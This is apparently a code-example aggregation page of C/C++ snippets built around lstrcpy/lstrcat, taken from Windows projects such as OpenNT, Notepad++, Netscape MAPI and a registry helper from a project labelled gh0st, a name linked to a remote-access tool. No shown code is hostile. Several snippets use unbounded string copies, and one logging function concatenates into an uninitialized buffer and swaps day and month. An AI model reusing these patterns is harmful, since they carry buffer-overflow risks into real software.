            OFN.Flags               = OFN_ENABLEHOOK|OFN_HIDEREADONLY|OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST;
            OFN.lpfnHook            = lpfnOFNHook;
            lstrcpy(szFileName,szWild);
            lstrcat(szFileName,szDefWriExtension);
            OFN.lpstrTitle          = szOpenFile;
            szCustFilterSpec[0] = '\0';
            
            fDefFileType = SA_WRITE; /* see MakeFilterSpec */
            MakeFilterString(iWhichOper);

        return FALSE;

        case imiSaveAs:
            /* read only will become the backup check box */
            if ((lpfnOFNHook = MakeProcInstance(fnOFNHook, hINSTANCE)) == NULL)
                return TRUE;

            OFN.hwndOwner           = hPARENTWINDOW;
            OFN.Flags               = OFN_ENABLEHOOK|OFN_PATHMUSTEXIST|OFN_OVERWRITEPROMPT;
            OFN.lpfnHook            = lpfnOFNHook;
            OFN.lpstrTitle          = szSaveFile;
            szCustFilterSpec[0] = '\0';
            MakeFilterString(iWhichOper);

        return FALSE;
    }

}
コード例 #14
0
ファイル: commdlg.c プロジェクト: chunhualiu/OpenNT
static MakeFilterString(int iWhichOper)
/* Construct the filter string for the Open, Save dialogs */
/* assume fDefFileType is set */
{
    LPSTR lpStr = szFilterSpec;
    char **ppstr = szDefExtensions;
    int nCount=1;

    /* WRI */
    lstrcpy(lpStr, szWriDescr);
    lpStr += lstrlen(lpStr)+1;
    lstrcpy(lpStr, szWild);
    lstrcat(lpStr, szDefWriExtension);
    lpStr += lstrlen(lpStr)+1;
    *ppstr++ = szDefWriExtension;
    ++nCount;

    if (iWhichOper == imiSaveAs)
    {
        /* Old WRI (without objects) */
        vcObjects = ObjEnumInDoc(docCur,NULL);

        if (vcObjects > 0)
        {
            lstrcpy(lpStr, szOldWriteDescr);
            lpStr += lstrlen(lpStr)+1;
            lstrcpy(lpStr, szWild);
            lstrcat(lpStr, szDefWriExtension);
            lpStr += lstrlen(lpStr)+1;
            *ppstr++ = szDefWriExtension;
            nOldWrite = nCount;
            ++nCount;
        }
        else if (fDefFileType == SA_OLDWRITE)
            fDefFileType = SA_WRITE;
    }

    /* DOC */
    lstrcpy(lpStr, szDocDescr);
    lpStr += lstrlen(lpStr)+1;
    lstrcpy(lpStr, szWild);
    lstrcat(lpStr, szDefDocExtension);
    lpStr += lstrlen(lpStr)+1;
    *ppstr++ = szDefDocExtension;
    nWord = nCount;
    ++nCount;

    /* DOC, Text only */
    if (iWhichOper == imiSaveAs)
    {
        lstrcpy(lpStr, szDocTxtDescr);
        lpStr += lstrlen(lpStr)+1;
        lstrcpy(lpStr, szWild);
        lstrcat(lpStr, szDefDocExtension);
        lpStr += lstrlen(lpStr)+1;
        *ppstr++ = szDefDocExtension;
        nWordText = nCount;
        ++nCount;
    }

    /* Text only */
    lstrcpy(lpStr, szTxtDescr);
    lpStr += lstrlen(lpStr)+1;
    lstrcpy(lpStr, szWild);
    lstrcat(lpStr, szDefTxtExtension);
    lpStr += lstrlen(lpStr)+1;
    *ppstr++ = szDefTxtExtension;
    nTextOnly = nCount;
    ++nCount;

    /* All files */
    lstrcpy(lpStr, szAllFilesDescr);
    lpStr += lstrlen(lpStr)+1;
    lstrcpy(lpStr, szWild);
    lstrcat(lpStr, "*");
    lpStr += lstrlen(lpStr)+1;
    *ppstr++ = NULL;
    ++nCount;

    *lpStr = 0;

    switch(fDefFileType)
    {
        case SA_WORDTEXT:
            OFN.nFilterIndex = nWordText;
        break;
        case SA_TEXTONLY:
            OFN.nFilterIndex = nTextOnly;
        break;
        case SA_WORD    :
            OFN.nFilterIndex = nWord;
        break;
        case SA_OLDWRITE:
            OFN.nFilterIndex = nOldWrite;
        break;
        case SA_WRITE   :
            OFN.nFilterIndex = 1;
        break;
    }
    OFN.lpstrDefExt  = szDefExtensions[OFN.nFilterIndex - 1];
}
コード例 #15
0
/*
	FileOpen -- uses GetOpenFileName to prompt user for AVI and HOT
		filenames.  Uses fileOpenMovie to load the AVI file, and
		playMovie and setMovie and MCI_WHERE to get it into the window
		and on the first frame.  Uses InitHotspots() to load
		hotspot file.
*/
BOOL FileOpen(HWND hWnd)
{    
    static OPENFILENAME ofn;
    char szBuf[129];
    char szFileName[MAXFILENAME] = "";
    char szFileTitle[MAXFILENAME] = "";
    char szFilterSpec [128] =                       /* file type filters */
             "AVI Files (*.AVI)\0*.AVI\0All Files (*.*)\0*.*\0";
    char szFilterSpec2 [128] = 
            "Hotspot Files (*.HOT)\0*.HOT\0All Files (*.*)\0*.*\0";

    ofn.lStructSize       = sizeof(OPENFILENAME);
    ofn.hwndOwner         = hWnd;
    ofn.lpstrFilter       = szFilterSpec;
    ofn.lpstrCustomFilter = NULL;
    ofn.nMaxCustFilter    = 0;
    ofn.nFilterIndex      = 1;
    ofn.lpstrFile         = szFileName;
    ofn.nMaxFile          = MAXFILENAME;
    ofn.lpstrInitialDir   = NULL;
    ofn.lpstrFileTitle    = szFileTitle;
    ofn.nMaxFileTitle     = MAXFILENAME;
    ofn.lpstrTitle        = "Open AVI File";
    ofn.lpstrDefExt       = "AVI";
    ofn.Flags             = 0;
    
    if (!GetOpenFileName ((LPOPENFILENAME)&ofn))
            return FALSE;    
    
    if (pMovieInfo)                                     // get rid of old stuff if there is
        {
        fileCloseMovie(pMovieInfo, TRUE);
        DeleteHotspotList(pMovieInfo);
        FREE(pMovieInfo);
        }
            
    lstrcpy(szWindowTitle, szBaseWindowTitle);
                    lstrcat(szWindowTitle, " - ");
                    lstrcat(szWindowTitle, szFileTitle);
    
    SetWindowText(hWnd, szWindowTitle);                
    
    {	// added SetProp to accomodate new drawproc
    	HANDLE hglb;
    	
    	hglb = GlobalAlloc(GHND,(DWORD)(sizeof(MOVIEINFO)));
    	if (hglb)
    	{
    		pMovieInfo = (PMOVIEINFO) GlobalLock(hglb);
    	}
    	else
    	{
    		pMovieInfo = NULL;
    	}
    	//pMovieInfo = (PMOVIEINFO) ((hglb = GlobalAlloc(GHND, (DWORD)(sizeof(MOVIEINFO)))) ? GlobalLock(hglb) : NULL);

	    if (!pMovieInfo)
	        return (FALSE);

	    pMovieInfo->hwndParent = hWnd;
	    lstrcpy(pMovieInfo->szAVIFileName, ofn.lpstrFile);

	    fileOpenMovie(pMovieInfo, ofn.lpstrFile);    
   	    SetProp(hWnd, (LPSTR) szMovieInfo,hglb);    
	    SetProp(pMovieInfo->hwndMovie, (LPSTR) szMovieInfo, hglb);
{ char a[256];wsprintf(a,"wnd1 %X wnd2 %X\n",hWnd,pMovieInfo->hwndMovie); OutputDebugString(a);}
    }
    //playMovie(pMovieInfo, 0);		// screws up drawproc for some reason
	{
		MCI_DGV_SETVIDEO_PARMS	dgv;
		UINT					uDevice;
		dgv.dwValue = (DWORD) ICAVIDrawProc;
			//MakeProcInstance((FARPROC) ICAVIDrawProc,hInstApp);
		dgv.dwItem = MCI_AVI_SETVIDEO_DRAW_PROCEDURE;
		uDevice = pMovieInfo->wMCIDeviceID;
		if (uDevice)
		{
			DWORD dw;
								
			dw = mciSendCommand(uDevice,
			MCI_SETVIDEO,
			MCI_DGV_SETVIDEO_ITEM | MCI_DGV_SETVIDEO_VALUE,
			(DWORD) (MCI_DGV_SETVIDEO_PARMS FAR *)&dgv);
			OutputDebugString("set draw proc!\n");
			if (dw != 0)
			{
				MessageBox(GetFocus(),
					"The currently installed MCIAVI does not "
					"support the MCI_AVI_SETVIDEO_DRAW_PROCEDURE "
					"command during play.","MCI Problem",
					MB_OK | MB_ICONHAND);
			}
		}
		else
		{
			MessageBox(GetFocus(),"movie info has no device id",
				"real bummer",MB_OK);
		}
	}    
    setMovie(pMovieInfo, pMovieInfo->dwCurrentFrame, NULL);
    {
    RECT rcClient, rcWindow;      //rcMovieBounds, rc
    MCI_DGV_RECT_PARMS   mciRect;
    BOOL retcode = TRUE;
    
    /* if there is no movie yet then just get out of here */
    GetClientRect(hWnd, &rcClient);  /* get the parent windows rect */
    GetWindowRect(hWnd, &rcWindow);
    mciSendCommand(pMovieInfo->wMCIDeviceID, MCI_WHERE,
                  (DWORD)(MCI_DGV_WHERE_SOURCE),
                  (DWORD)(LPMCI_DGV_RECT_PARMS)&mciRect);
    
    }
    
    pMovieInfo->fPlaying = FALSE;

    bFileLoaded = TRUE;
    wsprintf(szBuf, "%ld of %ld", pMovieInfo->dwCurrentFrame,
                    pMovieInfo->dwMovieLength);
    SetDlgItemText(hwndDlg, ID_CURRENTFRAME, szBuf);
    
    // now try opening a HOT file
    
    memset(szFileName, 0, sizeof(szFileName));
    memset(szFileTitle, 0, sizeof(szFileTitle));
    memset(&ofn, 0, sizeof(OPENFILENAME));
    
    ofn.lStructSize       = sizeof(OPENFILENAME);
    ofn.hwndOwner         = hWnd;
    ofn.lpstrFilter       = szFilterSpec2;
    ofn.lpstrCustomFilter = NULL;
    ofn.nMaxCustFilter    = 0;
    ofn.nFilterIndex      = 1;
    ofn.lpstrFile         = szFileName;
    ofn.nMaxFile          = MAXFILENAME;
    ofn.lpstrInitialDir   = NULL;
    ofn.lpstrFileTitle    = szFileTitle;
    ofn.nMaxFileTitle     = MAXFILENAME;
    ofn.lpstrTitle        = "Open Hotspot File";
    ofn.lpstrDefExt       = "HOT";
    ofn.Flags             = 0;
    
    if (!GetOpenFileName ((LPOPENFILENAME)&ofn))
            return TRUE;
    
    lstrcpy(pMovieInfo->szIniFileName, ofn.lpstrFile);
    InitHotspots(pMovieInfo, ofn.lpstrFile);
    if (pMovieInfo->pHotspotList && pMovieInfo->hwndMovie)                    
        {
        HDC hDC;
        
        hDC = GetDC(pMovieInfo->hwndMovie);
        DrawRects(hDC, pMovieInfo);            
        ReleaseDC(pMovieInfo->hwndMovie, hDC);
        }
    return TRUE;
}
コード例 #16
0
void WriteApplicationFile(char *mappname,char* MessageString)
{
	try
	{
		char mmCurentDir[512];
		SYSTEMTIME systime;

		
		char mdate[255]={0};
		char mmdate[255]={0};
		char mtime[255]={0};
		char mmFileName[512]={0};
		bool isFileExist;
		char mlogtype[1024]={0};
		bool isPerDeleted=false;
		
		//lstrcpy(mmCurentDir , mAPPLOG);
		//strcpy(mmCurentDir,SAAZODSetUpPath);
		lstrcat(mmCurentDir ,"ApplicationLog\\");
		//strcat(mmCurentDir , "\\Log");

		GetLocalTime(&systime);

		sprintf(mdate  , "%04d-%02d-%02d" ,systime.wYear, systime.wDay , systime.wMonth );
		sprintf(mmdate , "%04d%02d%02d" ,systime.wYear, systime.wDay , systime.wMonth);
		//GetTimeFormat(LOCALE_SYSTEM_DEFAULT , NULL , &systime , "hh':'mm':'ss" , mtime , 255);
		sprintf(mtime , "%02d:%02d:%02d" , systime.wHour, systime.wMinute , systime.wSecond);
		sprintf(mmFileName , "%s\\%s.Log" , mmCurentDir , mappname);
		FILE *fp=NULL;

		if(IsDirExist(mmFileName) == false)
		{
			isFileExist = false;
			fp=fopen( mmFileName ,"w+"); //for wiping out the contents
			_fcloseall( );
		}
		else
		{
			isFileExist = true;
		}

		DWORD dwFileSize = IsFile2MB(mmFileName);// Check for 2 MB (2097152 Bytes)

		if(dwFileSize >= 2097152)
		{
			isPerDeleted = true;
			isFileExist = false;
			fp=fopen( mmFileName ,"w+"); //For wiping out the contents
			_fcloseall( );
		}
		
		fp = fopen( mmFileName , "a");
		if(!(fp == NULL))
		{
			if (isFileExist == false)
			{
				fprintf(fp , "#Software: %s\n#Version: 1.0 \n#Date: %s %s\n# \n" , "zSmart.exe", mdate , mtime);
				fprintf(fp , "----------------------------------------------------------------------\n" );
				//fprintf(fp , "#Fields:\tdtime\tSession Id\tSession User Name\tmodule\n");
				if(isPerDeleted == true)
				{
					fprintf(fp , "Previous content is deleted. Due to the size limit of 2 MB\n" );
					fprintf(fp , "----------------------------------------------------------------------\n" );
				}
			}

				
			fprintf(fp , "%s %s\t%s \n" , mdate , mtime , MessageString);
		
		}
		else
		{ 

		}
		_fcloseall( );
	}
	catch(...)
	{
	}
}
コード例 #17
0
BOOL CInitializationThread::InitInstance()
{
    HWND hWnd = m_pMainWnd->GetSafeHwnd();
    FNAME szFileName;
    BOOL bRunningEmbedded = PictPubApp.RunEmbedded();
	BOOL  bRunningAutomated = PictPubApp.RunAutomated();

    lstrcpy(szFileName, Control.ProgHome);
    lstrcat(szFileName, "string.dll");

    // add and/or delete items to menus ( any one-time ( permanent ) menu changes )
    // setup IDR_PPMAIN
    m_pPictPubApp->SetupAppMainMenu( CMenu::FromHandle( GetMenu( hWnd)));
    VERIFY(SetEvent(m_hSetupAppMainMenuEvent));

    // setup IDR_PPSVRTYPE_PP
    POSITION TemplatePos = m_pPictPubApp->GetFirstDocTemplate();
    if (TemplatePos)
    {
        CPPMultiDocTemplate *pTemplate = (CPPMultiDocTemplate *)m_pPictPubApp->GetNextDocTemplate (TemplatePos);
    	m_pPictPubApp->SetupAppSharedMenu(CMenu::FromHandle(pTemplate->m_hMenuShared));
        VERIFY(SetEvent(m_hSetupAppSharedMenuEvent));
    }
                    
    lstrcpy(szFileName, Control.ProgHome);
    lstrcat(szFileName, "hint.dll");
    if( ( hInstHintLib = (HINSTANCE)AstralLoadLibrary( szFileName )))
    {
        if( Hints.fStatusHintsOn )
            MessageStatus( IDS_WELCOME, (LPSTR)szAppName );
        VERIFY(SetEvent(m_hHintsLoadEvent));
    }
    else
        //ERROR CONDITION !! 
        ;

    /* This is TWAIN Stuff */
    if (!bRunningEmbedded)
    {
        TW_IDENTITY identity;
    
        identity.Id = (TW_UINT32)hWnd;
        identity.Version.MajorNum = 3;
        identity.Version.MinorNum = 1;
        identity.Version.Language = TWLG_USA;
        identity.Version.Country  = TWCY_USA;
        lstrcpy(identity.Version.Info,  "3.1 Beta Release");
    
        identity.ProtocolMajor    = TWON_PROTOCOLMAJOR;
        identity.ProtocolMinor    = TWON_PROTOCOLMINOR;
        identity.SupportedGroups  = DG_CONTROL | DG_IMAGE;
        lstrcpy(identity.Manufacturer,  "MicroGrafX Inc.");
        lstrcpy(identity.ProductFamily, "Windows Apps");
        lstrcpy(identity.ProductName,   szAppName );
        
        DCInitialize( &identity, hWnd );
    } /* End of TWAIN Stuff */
    VERIFY(SetEvent(m_hTWAINEvent));

    // Finished Initialization !
    VERIFY(SetEvent(m_hInitThreadDoneEvent));

	// avoid entering standard message loop by returning FALSE
	return FALSE;
}
コード例 #18
0
ファイル: regExtDlg.cpp プロジェクト: Tanjas5/npp
void RegExtDlg::writeNppPath()
{
	HKEY  hKey, hRootKey;
	DWORD dwDisp;
	long  nRet;
	generic_string regStr(nppName);
	regStr += TEXT("\\shell\\open\\command");

	nRet = ::RegCreateKeyEx(
				HKEY_CLASSES_ROOT,
				regStr.c_str(),
				0,
				NULL,
				0,
				KEY_ALL_ACCESS,
				NULL,
				&hKey,
				&dwDisp);


	if (nRet == ERROR_SUCCESS)
	{
		//if (dwDisp == REG_CREATED_NEW_KEY)
		{
			// Write the value for new document
			::RegOpenKeyEx(HKEY_CLASSES_ROOT, nppName, 0, KEY_ALL_ACCESS, &hRootKey);
			::RegSetValueEx(hRootKey, NULL, 0, REG_SZ, (LPBYTE)nppDoc, (lstrlen(nppDoc)+1)*sizeof(TCHAR));
			RegCloseKey(hRootKey);

			TCHAR nppPath[MAX_PATH];
			::GetModuleFileName(_hInst, nppPath, MAX_PATH);

			TCHAR nppPathParam[MAX_PATH] = TEXT("\"");
			lstrcat(lstrcat(nppPathParam, nppPath), TEXT("\" \"%1\""));

			::RegSetValueEx(hKey, NULL, 0, REG_SZ, (LPBYTE)nppPathParam, (lstrlen(nppPathParam)+1)*sizeof(TCHAR));
		}
		RegCloseKey(hKey);
	}

	//Set default icon value
	regStr = nppName;
	regStr += TEXT("\\DefaultIcon");
	nRet = ::RegCreateKeyEx(
				HKEY_CLASSES_ROOT,
				regStr.c_str(),
				0,
				NULL,
				0,
				KEY_ALL_ACCESS,
				NULL,
				&hKey,
				&dwDisp);

	if (nRet == ERROR_SUCCESS)
	{
		//if (dwDisp == REG_CREATED_NEW_KEY)
		{
			TCHAR nppPath[MAX_PATH];
			::GetModuleFileName(_hInst, nppPath, MAX_PATH);

			TCHAR nppPathParam[MAX_PATH] = TEXT("\"");
			lstrcat(lstrcat(nppPathParam, nppPath), TEXT("\",0"));

			::RegSetValueEx(hKey, NULL, 0, REG_SZ, (LPBYTE)nppPathParam, (lstrlen(nppPathParam)+1)*sizeof(TCHAR));
		}
		RegCloseKey(hKey);
	}
} 
コード例 #19
0
ファイル: reg.c プロジェクト: SaschaNaz/saenaru
void GetRegKeyList(LPCTSTR lpszSubKey)
{ 
    HKEY    hKey ;
    TCHAR    szRegInfoPath [MAX_PATH] ;

    lstrcpy (szRegInfoPath, g_szRegInfoPath) ;
    if (lpszSubKey)
        lstrcat (szRegInfoPath, lpszSubKey) ;

        MyDebugPrint((TEXT("Getting: path=%s\n"), szRegInfoPath));
    if (RegOpenKeyEx (HKEY_CURRENT_USER, szRegInfoPath, 0, KEY_READ, &hKey) != ERROR_SUCCESS &&
        RegOpenKeyEx (HKEY_LOCAL_MACHINE, szRegInfoPath, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
        return;
    {
/* from MSDN document */
#define MAX_KEY_LENGTH 260
#define MAX_VALUE_NAME 16383
    WCHAR    achKey[MAX_KEY_LENGTH];   // buffer for subkey name
    DWORD    cbName;                   // size of name string 
    CHAR     achClass[MAX_PATH] = "";  // buffer for class name 
    DWORD    cchClassName = MAX_PATH;  // size of class string 
    DWORD    cSubKeys=0;               // number of subkeys 
    DWORD    cbMaxSubKey;              // longest subkey size 
    DWORD    cchMaxClass;              // longest class string 
    DWORD    cValues;              // number of values for key 
    DWORD    cchMaxValue;          // longest value name 
    DWORD    cbMaxValueData;       // longest value data 
    DWORD    cbSecurityDescriptor; // size of security descriptor 
    FILETIME ftLastWriteTime;      // last write time 
 
    DWORD i, retCode; 
 
    WCHAR  achValue[MAX_VALUE_NAME]; 
    DWORD cchValue = MAX_VALUE_NAME; 
 
    // Get the class name and the value count. 
    retCode = RegQueryInfoKey(
        hKey,                    // key handle 
        (LPWSTR)achClass,                // buffer for class name 
        &cchClassName,           // size of class string 
        NULL,                    // reserved 
        &cSubKeys,               // number of subkeys 
        &cbMaxSubKey,            // longest subkey size 
        &cchMaxClass,            // longest class string 
        &cValues,                // number of values for this key 
        &cchMaxValue,            // longest value name 
        &cbMaxValueData,         // longest value data 
        &cbSecurityDescriptor,   // security descriptor 
        &ftLastWriteTime);       // last write time 

#if 0 
    // Enumerate the subkeys, until RegEnumKeyEx fails.
    
    if (cSubKeys)
    {
        MyDebugPrint((TEXT("Number of subkeys: %d\n"), cSubKeys));

        for (i=0; i<cSubKeys; i++) 
        { 
            cbName = MAX_KEY_LENGTH;
            retCode = RegEnumKeyEx(hKey, i,
                     achKey, 
                     &cbName, 
                     NULL, 
                     NULL, 
                     NULL, 
                     &ftLastWriteTime); 
            if (retCode == ERROR_SUCCESS) 
            {
                MyDebugPrint((TEXT("(%d) %s\n"), i+1, achKey));
            }
        }
    }
#endif
 
    // Enumerate the key values. 

    if (cValues) 
    {
        MyDebugPrint((TEXT("\nNumber of values: %d\n"), cValues));

        for (i=0, retCode=ERROR_SUCCESS; i<cValues; i++) 
        { 
            cchValue = MAX_VALUE_NAME; 
            achValue[0] = '\0'; 
            retCode = RegEnumValue(hKey, i, 
                achValue, 
                &cchValue, 
                NULL, 
                NULL,
                NULL,
                NULL);
 
            if (retCode == ERROR_SUCCESS ) 
            { 
                MyDebugPrint((TEXT("(%d) %s\n"), i+1, achValue)); 
            } 
        }
    }
    }
}
コード例 #20
0
//
// This function will create a composition window and either do
// a blind send or pop up the compose window for the user to 
// complete the operation
//
// Return: appropriate MAPI return code...
//
// 
extern "C" LONG
DoFullMAPIMailOperation(MAPISendMailType      *sendMailPtr,
											  const char            *pInitialText,
                        BOOL                  winShowFlag)
{   
CGenericDoc             *pDocument;
LPSTR                   subject;
NSstringSeq             mailInfoSeq;
DWORD                   stringCount = 6;
DWORD                   i;
CString                 csDefault;

  // Get a context to use for this call...
  MWContext *pOldContext = GetUsableContext();
  if (!pOldContext)
  {
    return(MAPI_E_FAILURE);
  }

  // Don't allow a compose window to be created if the user hasn't 
  // specified an email address
  const char *real_addr = FE_UsersMailAddress();
  if (MISC_ValidateReturnAddress(pOldContext, real_addr) < 0)
  {
    return(MAPI_E_FAILURE);
  }

  //
  // Now, we must build the fields object...
  //
  mailInfoSeq = (NSstringSeq) &(sendMailPtr->dataBuf[0]);
  subject = NSStrSeqGet(mailInfoSeq, 0);

  // We should give it a subject to preven the prompt from coming
  // up...
  if ((!subject) || !(*subject))
  {
    csDefault.LoadString(IDS_COMPOSE_DEFAULTNOSUBJECT);
    subject = csDefault.GetBuffer(2);
  }

  TRACE("MAPI: ProcessMAPISendMail() Subject   = [%s]\n", subject);
  TRACE("MAPI: ProcessMAPISendMail() Text Size = [%d]\n", strlen((const char *)pInitialText));
  TRACE("MAPI: ProcessMAPISendMail() # of Recipients  = [%d]\n", sendMailPtr->MSG_nRecipCount);


  char  toString[1024] = "";
  char  ccString[1024] = "";
  char  bccString[1024] = "";

  for (i=0; i<sendMailPtr->MSG_nRecipCount; i++)
  {
    LPSTR   ptr;
    UCHAR   tempString[256];

    ULONG addrType = atoi(NSStrSeqGet(mailInfoSeq, stringCount++));

    // figure which type of address this is?
    if (addrType == MAPI_CC)
      ptr = ccString;
    else if (addrType == MAPI_BCC)
      ptr = bccString;
    else
      ptr = toString;
      
    LPSTR namePtr = (LPSTR) NSStrSeqGet(mailInfoSeq, stringCount++);
    LPSTR emailPtr = (LPSTR) NSStrSeqGet(mailInfoSeq, stringCount++);
    if ( (lstrlen(emailPtr) > 5) && (*(emailPtr + 4) == ':') )
    {
      emailPtr += 5;
    }

    // Now build the temp string to tack on in the format
    // "Rich Pizzarro" <*****@*****.**>
    wsprintf((LPSTR) tempString, "\"%s\" <%s>", namePtr, emailPtr);

    // add a comma if not the first one
    if (ptr[0] != '\0')
      lstrcat(ptr, ",");

    // tack on string!
    lstrcat(ptr, (LPSTR) tempString);
  }

  BOOL    bEncrypt = FALSE;
  BOOL    bSign    = FALSE;

  PREF_GetBoolPref("mail.crypto_sign_outgoing_mail", &bSign);
  PREF_GetBoolPref("mail.encrypt_outgoing_mail", &bEncrypt);
  MSG_CompositionFields *fields =
      MSG_CreateCompositionFields(real_addr, real_addr, 
                  toString, 
                  ccString, 
                  bccString,
									"", "", "",
									"", subject, "",
									"", "", "",
									"", 
                  bEncrypt,
                  bSign);
  if (!fields)
  {
    return(MAPI_E_FAILURE);
  }

  // RICHIE
  // INTL_CharSetInfo csi = LO_GetDocumentCharacterSetInfo(pOldContext);
  // int16 win_csid = INTL_GetCSIWinCSID(csi);
  
  pDocument = (CGenericDoc*)theApp.m_TextComposeTemplate->OpenDocumentFile(NULL, NULL, /*win_csid RICHIE*/ winShowFlag);
  if ( !pDocument )
  {
    return(MAPI_E_FAILURE);
  }
  
  CWinCX * pContext = (CWinCX*) pDocument->GetContext();
  if ( !pContext ) 
  {
    return(MAPI_E_FAILURE);
  }

  MSG_CompositionPaneCallbacks Callbacks;
  Callbacks.CreateRecipientsDialog = CreateRecipientsDialog;
  Callbacks.CreateAskHTMLDialog = CreateAskHTMLDialog;

  int16 doccsid;
  MWContext *context = pContext->GetContext();
  CComposeFrame *pCompose = (CComposeFrame *) pContext->GetFrame()->GetFrameWnd();

  pCompose->SetComposeStuff(context, fields); // squirl away stuff for post-create

  // This needs to be set TRUE if using the old non-HTML text frame
  // to prevent dropping dragged URLs
  pContext->m_bDragging = !pCompose->UseHtml();
  if (!pCompose->UseHtml()) 
  {
    pCompose->SetMsgPane(
      MSG_CreateCompositionPane(pContext->GetContext(), 
                                context, 
                                g_MsgPrefs.m_pMsgPrefs, 
                                fields,
                                WFE_MSGGetMaster())
                        );
  }

  ASSERT(pCompose->GetMsgPane());
  MSG_SetFEData(pCompose->GetMsgPane(),(void *)pCompose);  
  pCompose->UpdateAttachmentInfo();

  // Pass doccsid info to new context for MailToWin conversion
  doccsid = INTL_GetCSIDocCSID(LO_GetDocumentCharacterSetInfo(context));
  INTL_SetCSIDocCSID(LO_GetDocumentCharacterSetInfo(context), 
    (doccsid ? doccsid : INTL_DefaultDocCharSetID(context)));

  pCompose->DisplayHeaders(NULL);

  CComposeBar * pBar = pCompose->GetComposeBar();
  ASSERT(pBar);
  LPADDRESSCONTROL pIAddressList = pBar->GetAddressWidgetInterface();

  if (!pIAddressList->IsCreated()) 
  {
    pBar->CreateAddressingBlock();
  }

  // rhp - Deal with addressing the brute force way! This is a 
  // "fix" for bad behavior when creating these windows and not
  // showing them on the desktop.
  if (!winShowFlag)      // Hack to fix the window not being mapped
  {
    pCompose->AppendAddress(MSG_TO_HEADER_MASK, "");
    pCompose->AppendAddress(MSG_CC_HEADER_MASK, "");
    pCompose->AppendAddress(MSG_BCC_HEADER_MASK, "");
  }

  // Always do plain text composition!
  pCompose->CompleteComposeInitialization();

  // Do this so we don't get popups on "empty" messages
  if ( (!pInitialText) || (!(*pInitialText)) )
    pInitialText = " ";

  const char * pBody = pInitialText ? pInitialText : MSG_GetCompBody(pCompose->GetMsgPane());
  if (pBody)
  {
    FE_InsertMessageCompositionText(context,pBody,TRUE);
  }

  // 
  // Now set the message as being edited!    
  //
  pCompose->SetModified(TRUE);

  //
  // Finally deal with the attachments...
  //
  if (sendMailPtr->MSG_nFileCount > 0)
  {
    // Send this puppy when done with the attachments...
    if (!winShowFlag)
    {
      pCompose->SetMAPISendMode(MAPI_SEND);
    }

    MSG_AttachmentData *pAttach = (MSG_AttachmentData *)
                  XP_CALLOC((sendMailPtr->MSG_nFileCount + 1),
                  sizeof(MSG_AttachmentData));
    if (!pAttach)
    {
      return(MAPI_E_INSUFFICIENT_MEMORY);
    }

    memset(pAttach, 0, (sendMailPtr->MSG_nFileCount + 1) * 
                                sizeof(MSG_AttachmentData));
    for (i=0; i<sendMailPtr->MSG_nFileCount; i++)
    {
      CString cs;
      // Create URL from filename...
      WFE_ConvertFile2Url(cs, 
          (const char *)NSStrSeqGet(mailInfoSeq, stringCount++));
      pAttach[i].url = XP_STRDUP(cs);

      // Now also include the "display" name...
      StrAllocCopy(pAttach[i].real_name, NSStrSeqGet(mailInfoSeq, stringCount++));
    }

    // Set the list!
    MSG_SetAttachmentList(pCompose->GetMsgPane(), pAttach);

    // Now free everything...
    for (i=0; i<sendMailPtr->MSG_nFileCount; i++)
    {
      if (pAttach[i].url)
        XP_FREE(pAttach[i].url);

      if (pAttach[i].real_name)
        XP_FREE(pAttach[i].real_name);
    }

    XP_FREE(pAttach);
  }

  //
  // Now, if we were supposed to do the blind send...do it, otherwise,
  // just popup the window...
  //
  if (winShowFlag)      
  {
    // Post message to compose window to set the initial focus.
    pCompose->PostMessage(WM_COMP_SET_INITIAL_FOCUS);
  }
  else if (sendMailPtr->MSG_nFileCount <= 0)  // Send NOW if no attachments!
  {
    pCompose->PostMessage(WM_COMMAND, IDM_SEND);
  }

  return(SUCCESS_SUCCESS);
}
コード例 #21
0
ファイル: RegEditEx.cpp プロジェクト: 52piaoyu/gh0st
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在)
int  ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{   
	HKEY   hKey;  
	int    ValueDWORD,iResult=0;
	char*  PointStr;  
	char   KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];	
	DWORD  szSize,KnSize,dwIndex=0;	 

	memset(KeyName,0,sizeof(KeyName));
	memset(ValueSz,0,sizeof(ValueSz));
	memset(ValueTemp,0,sizeof(ValueTemp));
	 
	__try
	{
	//	 SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
		if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
		{
            iResult = -1;
			__leave;
		}
		switch(Mode)		 
		{
		case 0:
			switch(Type)
			{
			case REG_SZ:
			case REG_EXPAND_SZ:				 
				szSize = sizeof(ValueSz);
				if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
				{
					strcpy(szData,DelSpace(ValueSz));
					iResult =1;
				}
				break;
			case REG_MULTI_SZ:	
				szSize = sizeof(ValueSz);
				if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
				{
					for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
					{
					
						strncat(ValueTemp,PointStr,sizeof(ValueTemp));
					    strncat(ValueTemp," ",sizeof(ValueTemp));
					}
					strcpy(szData,ValueTemp);
					iResult =1;
				}
				break;				 			
			case REG_DWORD:
				szSize = sizeof(DWORD);
				if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)						
				{
					wsprintf(szData,"%d",ValueDWORD);
					iResult =1;
				}
				break;
            case REG_BINARY:
                szSize = lbSize;
				if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
					iResult =1;
				break;
			}
			break;
		case 1:
			while(1)
			{				 
				memset(ValueSz,0,sizeof(ValueSz));
				szSize   = sizeof(ValueSz);
                if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
					break;
                wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
				strcat(szData,ValueTemp);
				iResult =1;
			}			 
			break;
		case 2:			  
			while(1)
			{				 
				memset(KeyName,0,sizeof(KeyName));
				memset(ValueSz,0,sizeof(ValueSz));
